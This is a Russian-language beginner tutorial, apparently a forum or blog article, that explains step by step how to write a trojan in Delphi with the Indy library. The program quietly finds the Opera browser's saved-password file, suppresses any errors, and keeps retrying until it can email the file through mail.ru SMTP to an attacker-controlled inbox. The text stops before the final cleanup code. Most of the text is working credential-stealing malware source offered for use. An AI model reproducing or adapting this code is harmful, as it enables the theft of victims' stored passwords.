Статья рассчитана на начинающих. Итак троянская программа - вкратце программа выполняющая в системе действия необходимые злоумышленнику и распространяемая им же. Схема довольно проста. В моём примере простой троянец будет воровать файл в нашем случае - файл паролей от оперы и отсылать его нам на емейл. И так нам понадобятся среда Delphi 7, компонент для работы с интернет InDy 10.x.
Используем только нужные нам модули, потому что инди напару с делфи начинают втюхивать нам кучу других.
Переменные применяемые в коде
var smtp : TIdSMTP; Mes : TIdMessage; wand : string;
обязательно заключим весь код в try ...except end дабы избежать отображение каких либо ошибок если у программы что то не вышло.
begin try wand:= GetEnvironmentVariable('APPDATA')+'\Opera\Opera\wand.dat';
Первым делом проверяем наличие нужного нам файла если его нет, то нам тут делать нечего... дохнем :
if not FileExists(wand) then Exit;
Создаём компоненты :
smtp:= TIdSMTP.Create; Mes:= TIdMessage.Create;
Передаём им параметры :
with smtp do begin Host:= 'smtp.mail.ru'; //Наш сервер будет майл, я как то больше сним привык работать Port:= 25; UserName:= 'client@mail.ru'; // тут почта с которой будут идти писмеца) Password:= 'password'; //пароль к этой почте end; with Mes do begin From.Address:= 'client@mail.ru'; // Ящик c которого будут идти письма From.Name:= 'simple trojan'; //Имя от кого идёт письмо Recipients.EMailAddresses:= 'server@mail.ru'; //Ящик на который идут письма Subject:= 'Subject'; TIdAttachmentFile.Create(MessageParts,wand); //Цепляем наш заветный файл end;
Создаём цикл в котором будем ждать успешного подключения к серверу майла :
repeat smtp.Connect; Sleep(30000); until smtp.Connected;
Если подключились то отправляем письмо :
smtp.Send(Mes); smtp.Disconnect;
Освободим занятую нами память, всё должно быть красиво :